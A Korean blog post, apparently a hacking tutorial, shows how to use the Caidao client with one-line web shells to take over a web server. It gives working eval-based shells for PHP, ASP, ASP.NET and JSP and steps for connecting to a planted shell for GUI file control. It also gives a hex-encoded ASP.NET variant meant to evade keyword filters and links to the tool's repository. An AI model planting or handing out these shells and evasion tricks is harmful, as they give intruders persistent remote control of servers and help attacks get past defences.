웹쉘을 방지하기 위한 대응방안은 여러가지가 있다.
확장자 제한, 용량 제한, 디렉터리 실행 권한 차단, 절대 경로 은닉, 코드 검증 등
이 모든 대응방안을 우회할 순 없지만
공격자에게는 아주 강력하고 서버에서는 꼭 막아야하는 한줄 웹쉘(One-line WebShell)이 있다
https://github.com/raddyfiy/caidao-official-version
Caidao를 이용한 웹쉘은 정말 간단한 한줄로 서버로 침투하게되면
생성,삭제,수정,열람 등 모든 기능들을 GUI 형태로 아주 편하고 간단하게 수행할 수 있다.
카이다오를 켜게되면 위 사진과 같은 그림이 나오는데
Add 버튼을 눌러 웹쉘이 올라간 서버에 연결할 수 있다.
웹쉘을 업로드 할 때에는 매우 간단한 한줄로 작성된다.
PHP : <?php @eval($_POST['hyotwo']);?>
ASP : <%eval request("hyotwo")%>
ASP.NET : <%@ Page Language="Jscript"%><%eval(Request.Item["hyotwo"],"unsafe");%>
JSP : <% Runtime.getRunTime().exec(request.getParameter("hyotwo")); %>
#jsp는 동작 확인이 안됨 ㅠ
실제로 올리게되면 이렇게된다.
php 웹서버를 테스트로 만들어서 직접 서버 사이드 스크립트 파일을 생성했다 코드는 아래 사진과같이
단 한줄이다.
실제로 php파일에 접근해보면 아래와같이 아무것도 표시되지않는다.
하지만 카이다오로 접근하게되면 다르다.
Address에 웹쉘의 경로를 적고 그 옆 입력창엔
<?php @eval($_POST['hyotwo']);?>
코드의 리퀘스트 명 hyotwo를 입력한다.
요청 변수는 임의로 변경해도 괜찮다.
카이다오 접근할 때 똑같으면 된다.
그 후 Add 버튼을 눌러 새로 생긴 URL에 접근하면
아래 사진과같이 GUI로 웹 서버의 시스템에 침투가 가능하다.
하지만 이 한줄짜리 웹쉘도 어떤 검증로직에 의하여 막힐 수도 있는데,
그 때는 base64 / 16진수 / 유니코드 등을 활용하여 우회하는 기법도 있다.
asp.net 코드를 16진수로 변환하면 아래와같다.
<%@PAGE LANGUAGE=JSCRIPT%><%var PAY:String=Request["\x68\x79\6f\x74\x77\x6f"];eval(PAY,"\x75\x6E\x73\x61"+"\x66\x65");%>
실제로 그냥
<%@ Page Language="Jscript"%><%eval(Request.Item["hyotwo"],"unsafe");%>
이렇게 삽입하면 어떤 키워드에 의해 막는 경우도 있기에 여러 방법으로 시도해보며
우회 방법을 활용하면 좋다.
caidao를 다운받아서 압축을 풀게되면 악성코드로 잡히니 참고하고
안에 readme.txt는 도움말이 있다.
카이다오는 DB커넥션 또한 지원하는데 그 DB커넥션의 이용방법이 적혀있으며,
중국어로 되어있어 번역과정이 필요하다
'웹' 카테고리의 다른 글
[Web] HTTP Request Smuggling을 이용한 다양한 웹 해킹 기법(활용) (0) | 2022.07.01 |
---|---|
[Web] HTTP Request Smuggling을 이용한 다양한 웹 해킹 기법(개념) (0) | 2022.06.30 |
[웹] 파일 다운로드 - 리눅스 시스템 중요 파일 (0) | 2022.03.07 |
[웹] 파일 다운로드 (0) | 2022.03.07 |